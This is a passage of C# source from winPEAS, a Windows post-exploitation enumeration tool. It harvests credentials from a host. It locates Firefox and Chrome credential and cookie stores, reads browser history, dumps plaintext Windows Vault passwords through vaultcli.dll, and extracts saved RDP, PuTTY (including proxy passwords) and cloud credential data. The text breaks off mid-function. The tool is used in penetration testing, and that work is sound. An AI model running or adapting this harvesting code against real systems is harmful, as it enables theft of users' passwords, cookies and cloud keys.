using CredentialManagement; using Microsoft.Win32; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Text.RegularExpressions; using System.Web.Script.Serialization; using System.Xml; namespace winPEAS { class KnownFileCredsInfo { public static List GetFirefoxDbs() { List results = new List(); // checks if Firefox has a history database try { if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", dir); if (System.IO.Directory.Exists(userFirefoxBasePath)) { string[] directories = Directory.GetDirectories(userFirefoxBasePath); foreach (string directory in directories) { string firefoxCredentialFile3 = String.Format("{0}\\{1}", directory, "key3.db"); if (System.IO.File.Exists(firefoxCredentialFile3)) results.Add(firefoxCredentialFile3); string firefoxCredentialFile4 = String.Format("{0}\\{1}", directory, "key4.db"); if (System.IO.File.Exists(firefoxCredentialFile4)) results.Add(firefoxCredentialFile3); } } } } } else { string userName = Environment.GetEnvironmentVariable("USERNAME"); string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.Directory.Exists(userFirefoxBasePath)) { string[] directories = Directory.GetDirectories(userFirefoxBasePath); foreach (string directory in directories) { string firefoxCredentialFile3 = String.Format("{0}\\{1}", directory, "key3.db"); if (System.IO.File.Exists(firefoxCredentialFile3)) results.Add(firefoxCredentialFile3); string firefoxCredentialFile4 = String.Format("{0}\\{1}", directory, "key4.db"); if (System.IO.File.Exists(firefoxCredentialFile4)) results.Add(firefoxCredentialFile4); } } } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static List ParseFirefoxHistory(string path, string user) { List results = new List(); // parses a Firefox history file via regex if (System.IO.Directory.Exists(path)) { string[] directories = Directory.GetDirectories(path); foreach (string directory in directories) { string firefoxHistoryFile = String.Format("{0}\\{1}", directory, "places.sqlite"); Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); try { using (StreamReader r = new StreamReader(firefoxHistoryFile)) { string line; while ((line = r.ReadLine()) != null) { Match m = historyRegex.Match(line); if (m.Success) results.Add(m.Groups[0].ToString().Trim()); } } } catch (System.IO.IOException exception) { Console.WriteLine("\r\n [x] IO exception, places.sqlite file likely in use (i.e. Firefox is likely running).", exception.Message); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } } } return results; } public static List GetFirefoxHistory() { List results = new List(); try { if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", dir); results = ParseFirefoxHistory(userFirefoxBasePath, userName); } } } else { string userName = Environment.GetEnvironmentVariable("USERNAME"); string userFirefoxBasePath = String.Format("{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); results = ParseFirefoxHistory(userFirefoxBasePath, userName); } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static Dictionary GetChromeDbs() { Dictionary results = new Dictionary(); // checks if Chrome has a history database try { if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); if (System.IO.File.Exists(userChromeCookiesPath)) results["userChromeCookiesPath"] = userChromeCookiesPath; string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); if (System.IO.File.Exists(userChromeLoginDataPath)) results["userChromeLoginDataPath"] = userChromeLoginDataPath; } } } else { string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(userChromeCookiesPath)) results["userChromeCookiesPath"] = userChromeCookiesPath; string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(userChromeLoginDataPath)) results["userChromeLoginDataPath"] = userChromeLoginDataPath; } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static List ParseChromeHistory(string path, string user) { List results = new List(); // parses a Chrome history file via regex if (System.IO.File.Exists(path)) { Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); try { using (StreamReader r = new StreamReader(path)) { string line; while ((line = r.ReadLine()) != null) { Match m = historyRegex.Match(line); if (m.Success) { results.Add(m.Groups[0].ToString().Trim()); } } } } catch (System.IO.IOException exception) { Console.WriteLine("\r\n [x] IO exception, history file likely in use (i.e. Browser is likely running): ", exception.Message); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } } return results; } public static List ParseChromeBookmarks(string path, string user) { List results = new List(); // parses a Chrome bookmarks if (System.IO.File.Exists(path)) { try { string contents = System.IO.File.ReadAllText(path); // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/ JavaScriptSerializer json = new JavaScriptSerializer(); Dictionary deserialized = json.Deserialize>(contents); Dictionary roots = (Dictionary)deserialized["roots"]; Dictionary bookmark_bar = (Dictionary)roots["bookmark_bar"]; System.Collections.ArrayList children = (System.Collections.ArrayList)bookmark_bar["children"]; foreach (Dictionary entry in children) { //Console.WriteLine(" Name: {0}", entry["name"].ToString().Trim()); if (entry.ContainsKey("url")) results.Add(entry["url"].ToString().Trim()); } } catch (System.IO.IOException exception) { Console.WriteLine("\r\n [x] IO exception, Bookmarks file likely in use (i.e. Chrome is likely running).", exception.Message); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } } return results; } public static Dictionary> GetChromeHistBook() { Dictionary> results = new Dictionary>() { { "history", new List() }, { "bookarks", new List() }, }; try { if (MyUtils.IsHighIntegrity()) { Console.WriteLine("\r\n\r\n=== Chrome (All Users) ==="); string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", dir); results["history"] = ParseChromeHistory(userChromeHistoryPath, userName); string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", dir); results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath, userName); } } } else { string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE")); results["history"] = ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable("USERNAME")); string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE")); results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath, System.Environment.GetEnvironmentVariable("USERNAME")); } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static Dictionary> GetIEHistFav() { int lastDays = 90; Dictionary> results = new Dictionary>() { { "history", new List() }, { "favorites", new List() }, }; DateTime startTime = System.DateTime.Now.AddDays(-lastDays); try { if (MyUtils.IsHighIntegrity()) { string[] SIDs = Registry.Users.GetSubKeyNames(); foreach (string SID in SIDs) { if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) { Dictionary settings = MyUtils.GetRegValues("HKU", String.Format("{0}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs", SID)); if ((settings != null) && (settings.Count > 1)) { foreach (KeyValuePair kvp in settings) { byte[] timeBytes = MyUtils.GetRegValueBytes("HKU", String.Format("{0}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", SID), kvp.Key.ToString().Trim()); if (timeBytes != null) { long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0)); DateTime urlTime = DateTime.FromFileTime(timeLong); if (urlTime > startTime) { results["history"].Add(kvp.Value.ToString().Trim()); } } } } } } string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userIEBookmarkPath = String.Format("{0}\\Favorites\\", dir); if (Directory.Exists(userIEBookmarkPath)) { string[] bookmarkPaths = Directory.GetFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories); if (bookmarkPaths.Length != 0) { foreach (string bookmarkPath in bookmarkPaths) { using (StreamReader rdr = new StreamReader(bookmarkPath)) { string line; string url = ""; while ((line = rdr.ReadLine()) != null) { if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase)) { if (line.Length > 4) url = line.Substring(4); break; } } results["history"].Add(url.ToString().Trim()); } } } } } } } else { Dictionary settings = MyUtils.GetRegValues("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs"); if ((settings != null) && (settings.Count != 0)) { foreach (KeyValuePair kvp in settings) { byte[] timeBytes = MyUtils.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim()); if (timeBytes != null) { long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0)); DateTime urlTime = DateTime.FromFileTime(timeLong); if (urlTime > startTime) { results["history"].Add(kvp.Value.ToString().Trim()); } } } } string userIEBookmarkPath = String.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); string[] bookmarkPaths = Directory.GetFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories); foreach (string bookmarkPath in bookmarkPaths) { using (StreamReader rdr = new StreamReader(bookmarkPath)) { string line; string url = ""; while ((line = rdr.ReadLine()) != null) { if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase)) { if (line.Length > 4) url = line.Substring(4); break; } } results["favorites"].Add(url.ToString().Trim()); } } } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex)); } return results; } public static List GetCurrentIETabs() { List results = new List(); // Lists currently open Internet Explorer tabs, via COM // Notes: // https://searchcode.com/codesearch/view/9859954/ // https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816 try { // Shell.Application COM GUID Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000")); // actually instantiate the Shell.Application COM object Object shellObj = Activator.CreateInstance(shell); // grab all the current windows Object windows = shellObj.GetType().InvokeMember("Windows", BindingFlags.InvokeMethod, null, shellObj, null); // grab the open tab count Object openTabs = windows.GetType().InvokeMember("Count", BindingFlags.GetProperty, null, windows, null); int openTabsCount = Int32.Parse(openTabs.ToString()); for (int i = 0; i < openTabsCount; i++) { // grab the acutal tab Object item = windows.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, windows, new object[] { i }); try { // extract the tab properties Object locationName = item.GetType().InvokeMember("LocationName", BindingFlags.GetProperty, null, item, null); Object locationURL = item.GetType().InvokeMember("LocationUrl", BindingFlags.GetProperty, null, item, null); // ensure we have a site address if (Regex.IsMatch(locationURL.ToString(), @"(^https?://.+)|(^ftp://)")) { results.Add(String.Format("{0}", locationURL)); } Marshal.ReleaseComObject(item); item = null; } catch { // } } Marshal.ReleaseComObject(windows); windows = null; Marshal.ReleaseComObject(shellObj); shellObj = null; } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex)); } return results; } public static class VaultCli { // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs public enum VAULT_ELEMENT_TYPE : Int32 { Undefined = -1, Boolean = 0, Short = 1, UnsignedShort = 2, Int = 3, UnsignedInt = 4, Double = 5, Guid = 6, String = 7, ByteArray = 8, TimeStamp = 9, ProtectedArray = 10, Attribute = 11, Sid = 12, Last = 13 } public enum VAULT_SCHEMA_ELEMENT_ID : Int32 { Illegal = 0, Resource = 1, Identity = 2, Authenticator = 3, Tag = 4, PackageSid = 5, AppStart = 100, AppEnd = 10000 } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] public struct VAULT_ITEM_WIN8 { public Guid SchemaId; public IntPtr pszCredentialFriendlyName; public IntPtr pResourceElement; public IntPtr pIdentityElement; public IntPtr pAuthenticatorElement; public IntPtr pPackageSid; public UInt64 LastModified; public UInt32 dwFlags; public UInt32 dwPropertiesCount; public IntPtr pPropertyElements; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] public struct VAULT_ITEM_WIN7 { public Guid SchemaId; public IntPtr pszCredentialFriendlyName; public IntPtr pResourceElement; public IntPtr pIdentityElement; public IntPtr pAuthenticatorElement; public UInt64 LastModified; public UInt32 dwFlags; public UInt32 dwPropertiesCount; public IntPtr pPropertyElements; } [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)] public struct VAULT_ITEM_ELEMENT { [FieldOffset(0)] public VAULT_SCHEMA_ELEMENT_ID SchemaElementId; [FieldOffset(8)] public VAULT_ELEMENT_TYPE Type; } [DllImport("vaultcli.dll")] public extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle); [DllImport("vaultcli.dll")] public extern static Int32 VaultCloseVault(ref IntPtr vaultHandle); [DllImport("vaultcli.dll")] public extern static Int32 VaultFree(ref IntPtr vaultHandle); [DllImport("vaultcli.dll")] public extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid); [DllImport("vaultcli.dll")] public extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem); [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] public extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr); [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] public extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr); } public static object GetVaultElementValue(IntPtr vaultElementPtr) { // Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs object results; object partialElement = System.Runtime.InteropServices.Marshal.PtrToStructure(vaultElementPtr, typeof(VaultCli.VAULT_ITEM_ELEMENT)); FieldInfo partialElementInfo = partialElement.GetType().GetField("Type"); var partialElementType = partialElementInfo.GetValue(partialElement); IntPtr elementPtr = (IntPtr)(vaultElementPtr.ToInt64() + 16); switch ((int)partialElementType) { case 7: // VAULT_ELEMENT_TYPE == String; These are the plaintext passwords! IntPtr StringPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr); results = System.Runtime.InteropServices.Marshal.PtrToStringUni(StringPtr); break; case 0: // VAULT_ELEMENT_TYPE == bool results = System.Runtime.InteropServices.Marshal.ReadByte(elementPtr); results = (bool)results; break; case 1: // VAULT_ELEMENT_TYPE == Short results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr); break; case 2: // VAULT_ELEMENT_TYPE == Unsigned Short results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr); break; case 3: // VAULT_ELEMENT_TYPE == Int results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr); break; case 4: // VAULT_ELEMENT_TYPE == Unsigned Int results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr); break; case 5: // VAULT_ELEMENT_TYPE == Double results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Double)); break; case 6: // VAULT_ELEMENT_TYPE == GUID results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Guid)); break; case 12: // VAULT_ELEMENT_TYPE == Sid IntPtr sidPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr); var sidObject = new System.Security.Principal.SecurityIdentifier(sidPtr); results = sidObject.Value; break; default: /* Several VAULT_ELEMENT_TYPES are currently unimplemented according to * Lord Graeber. Thus we do not implement them. */ results = null; break; } return results; } public static List> DumpVault() { List> results = new List>(); // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs var OSVersion = Environment.OSVersion.Version; var OSMajor = OSVersion.Major; var OSMinor = OSVersion.Minor; Type VAULT_ITEM; if (OSMajor >= 6 && OSMinor >= 2) { VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN8); } else { VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN7); } Int32 vaultCount = 0; IntPtr vaultGuidPtr = IntPtr.Zero; var result = VaultCli.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr); //var result = CallVaultEnumerateVaults(VaultEnum, 0, ref vaultCount, ref vaultGuidPtr); if ((int)result != 0) { Console.WriteLine(" [ERROR] Unable to enumerate vaults. Error (0x" + result.ToString() + ")"); return results; } // Create dictionary to translate Guids to human readable elements IntPtr guidAddress = vaultGuidPtr; Dictionary vaultSchema = new Dictionary(); vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note"); vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential"); vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector"); vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials"); vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials"); vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential"); vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential"); vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential"); vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null); for (int i = 0; i < vaultCount; i++) { // Open vault block object vaultGuidString = System.Runtime.InteropServices.Marshal.PtrToStructure(guidAddress, typeof(Guid)); Guid vaultGuid = new Guid(vaultGuidString.ToString()); guidAddress = (IntPtr)(guidAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(typeof(Guid))); IntPtr vaultHandle = IntPtr.Zero; string vaultType; if (vaultSchema.ContainsKey(vaultGuid)) { vaultType = vaultSchema[vaultGuid]; } else { vaultType = vaultGuid.ToString(); } result = VaultCli.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle); if (result != 0) { Console.WriteLine("Unable to open the following vault: " + vaultType + ". Error: 0x" + result.ToString()); continue; } // Vault opened successfully! Continue. // Fetch all items within Vault int vaultItemCount = 0; IntPtr vaultItemPtr = IntPtr.Zero; result = VaultCli.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr); if (result != 0) { Console.WriteLine("Unable to enumerate vault items from the following vault: " + vaultType + ". Error 0x" + result.ToString()); continue; } var structAddress = vaultItemPtr; if (vaultItemCount > 0) { // For each vault item... for (int j = 1; j <= vaultItemCount; j++) { Dictionary vault_cred = new Dictionary() { { "GUID", String.Format("{0}", vaultGuid) }, { "Type", vaultType }, { "Resource", "" }, { "Identity", "" }, { "PacakgeSid", "" }, { "Credential", "" }, { "Last Modified", "" }, { "Error", "" } }; // Begin fetching vault item... var currentItem = System.Runtime.InteropServices.Marshal.PtrToStructure(structAddress, VAULT_ITEM); structAddress = (IntPtr)(structAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(VAULT_ITEM)); IntPtr passwordVaultItem = IntPtr.Zero; // Field Info retrieval FieldInfo schemaIdInfo = currentItem.GetType().GetField("SchemaId"); Guid schemaId = new Guid(schemaIdInfo.GetValue(currentItem).ToString()); FieldInfo pResourceElementInfo = currentItem.GetType().GetField("pResourceElement"); IntPtr pResourceElement = (IntPtr)pResourceElementInfo.GetValue(currentItem); FieldInfo pIdentityElementInfo = currentItem.GetType().GetField("pIdentityElement"); IntPtr pIdentityElement = (IntPtr)pIdentityElementInfo.GetValue(currentItem); FieldInfo dateTimeInfo = currentItem.GetType().GetField("LastModified"); UInt64 lastModified = (UInt64)dateTimeInfo.GetValue(currentItem); IntPtr pPackageSid = IntPtr.Zero; if (OSMajor >= 6 && OSMinor >= 2) { // Newer versions have package sid FieldInfo pPackageSidInfo = currentItem.GetType().GetField("pPackageSid"); pPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem); result = VaultCli.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem); } else { result = VaultCli.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem); } if (result != 0) { vault_cred["Error"] = "Occured while retrieving vault item. Error: 0x" + result.ToString(); continue; } object passwordItem = System.Runtime.InteropServices.Marshal.PtrToStructure(passwordVaultItem, VAULT_ITEM); FieldInfo pAuthenticatorElementInfo = passwordItem.GetType().GetField("pAuthenticatorElement"); IntPtr pAuthenticatorElement = (IntPtr)pAuthenticatorElementInfo.GetValue(passwordItem); // Fetch the credential from the authenticator element object cred = GetVaultElementValue(pAuthenticatorElement); object packageSid = null; if (pPackageSid != IntPtr.Zero && pPackageSid != null) { packageSid = GetVaultElementValue(pPackageSid); } if (cred != null) // Indicates successful fetch { object resource = GetVaultElementValue(pResourceElement); if (resource != null) { vault_cred["Resource"] = String.Format("{0}", resource); } object identity = GetVaultElementValue(pIdentityElement); if (identity != null) { vault_cred["Identity"] = String.Format("{0}", identity); } if (packageSid != null) { vault_cred["PacakgeSid"] = String.Format("{0}", packageSid); } vault_cred["Credential"] = String.Format("{0}", cred); vault_cred["Last Modified"] = String.Format("{0}", System.DateTime.FromFileTimeUtc((long)lastModified)); results.Add(vault_cred); } } } } return results; } public static void GetCredsCredmanager() { var cm = new Credential { }; cm.Load(); } public static List> GetSavedRDPConnections() { List> results = new List>(); //shows saved RDP connections, including username hints (if present) if (MyUtils.IsHighIntegrity()) { string[] SIDs = Registry.Users.GetSubKeyNames(); foreach (string SID in SIDs) { if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) { string[] subkeys = MyUtils.GetRegSubkeys("HKU", String.Format("{0}\\Software\\Microsoft\\Terminal Server Client\\Servers", SID)); if (subkeys != null) { Console.WriteLine("\r\n\r\n=== Saved RDP Connection Information ({0}) ===", SID); foreach (string host in subkeys) { string usernameHint = MyUtils.GetRegValue("HKCU", String.Format("Software\\Microsoft\\Terminal Server Client\\Servers\\{0}", host), "UsernameHint"); Dictionary rdp_info = new Dictionary() { { "SID", SID }, { "Host", host }, { "Username Hint", usernameHint }, }; results.Add(rdp_info); } } } } } else { string[] subkeys = MyUtils.GetRegSubkeys("HKCU", "Software\\Microsoft\\Terminal Server Client\\Servers"); if (subkeys != null) { foreach (string host in subkeys) { string usernameHint = MyUtils.GetRegValue("HKCU", String.Format("Software\\Microsoft\\Terminal Server Client\\Servers\\{0}", host), "UsernameHint"); Dictionary rdp_info = new Dictionary() { { "SID", "" }, { "Host", host }, { "Username Hint", usernameHint }, }; results.Add(rdp_info); } } } return results; } public static Dictionary GetRecentRunCommands() { Dictionary results = new Dictionary(); // lists recently run commands via the RunMRU registry key if (MyUtils.IsHighIntegrity()) { string[] SIDs = Registry.Users.GetSubKeyNames(); foreach (string SID in SIDs) { if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) results = MyUtils.GetRegValues("HKU", String.Format("{0}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU", SID)); } } else { results = MyUtils.GetRegValues("HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"); } return results; } public static List> GetPuttySessions() { List> results = new List>(); // extracts saved putty sessions and basic configs (via the registry) if (MyUtils.IsHighIntegrity()) { Console.WriteLine("\r\n\r\n=== Putty Saved Session Information (All Users) ===\r\n"); string[] SIDs = Registry.Users.GetSubKeyNames(); foreach (string SID in SIDs) { if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) { string[] subKeys = MyUtils.GetRegSubkeys("HKU", String.Format("{0}\\Software\\SimonTatham\\PuTTY\\Sessions\\", SID)); foreach (string sessionName in subKeys) { Dictionary putty_sess = new Dictionary() { { "User SID", SID }, { "SessionName", sessionName }, { "HostName", "" }, { "PortNumber", ""}, { "UserName", "" }, { "PublicKeyFile", "" }, { "PortForwardings", "" }, { "ConnectionSharing", "" }, { "ProxyPassword", "" }, { "ProxyUsername", "" }, }; string[] keys = { "HostName", "PortNumber", "UserName", "PublicKeyFile", "PortForwardings", "ConnectionSharing", "ProxyPassword", "ProxyUsername", }; foreach (string key in keys) putty_sess[key] = MyUtils.GetRegValue("HKU", String.Format("{0}\\Software\\SimonTatham\\PuTTY\\Sessions\\{1}", SID, sessionName), key); results.Add(putty_sess); } } } } else { string[] subKeys = MyUtils.GetRegSubkeys("HKCU", "Software\\SimonTatham\\PuTTY\\Sessions\\"); foreach (string sessionName in subKeys) { Dictionary putty_sess = new Dictionary() { { "SessionName", sessionName }, { "HostName", "" }, { "PortNumber", "" }, { "UserName", "" }, { "PublicKeyFile", "" }, { "PortForwardings", "" }, { "ConnectionSharing", "" }, { "ProxyPassword", "" }, { "ProxyUsername", "" }, }; string[] keys = { "HostName", "PortNumber", "UserName", "PublicKeyFile", "PortForwardings", "ConnectionSharing", "ProxyPassword", "ProxyUsername", }; foreach (string key in keys) putty_sess[key] = MyUtils.GetRegValue("HKCU", String.Format("Software\\SimonTatham\\PuTTY\\Sessions\\{0}", sessionName), key); results.Add(putty_sess); } } return results; } public static List> ListPuttySSHHostKeys() { List> results = new List>(); // extracts saved putty host keys (via the registry) if (MyUtils.IsHighIntegrity()) { Console.WriteLine("\r\n\r\n=== Putty SSH Host Hosts (All Users) ===\r\n"); string[] SIDs = Registry.Users.GetSubKeyNames(); foreach (string SID in SIDs) { if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) { Dictionary hostKeys = MyUtils.GetRegValues("HKU", String.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID)); if ((hostKeys != null) && (hostKeys.Count != 0)) { Dictionary putty_ssh = new Dictionary(); putty_ssh["UserSID"] = SID; foreach (KeyValuePair kvp in hostKeys) { putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value } results.Add(putty_ssh); } } } } else { Dictionary hostKeys = MyUtils.GetRegValues("HKCU", "Software\\SimonTatham\\PuTTY\\SshHostKeys\\"); if ((hostKeys != null) && (hostKeys.Count != 0)) { Dictionary putty_ssh = new Dictionary(); foreach (KeyValuePair kvp in hostKeys) { putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value } results.Add(putty_ssh); } } return results; } public static List> ListCloudCreds() { List> results = new List>(); // checks for various cloud credential files (AWS, Microsoft Azure, and Google Compute) // adapted from https://twitter.com/cmaddalena's SharpCloud project (https://github.com/chrismaddalena/SharpCloud/) try { if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string awsKeyFile = String.Format("{0}\\.aws\\credentials", dir); if (System.IO.File.Exists(awsKeyFile)) { 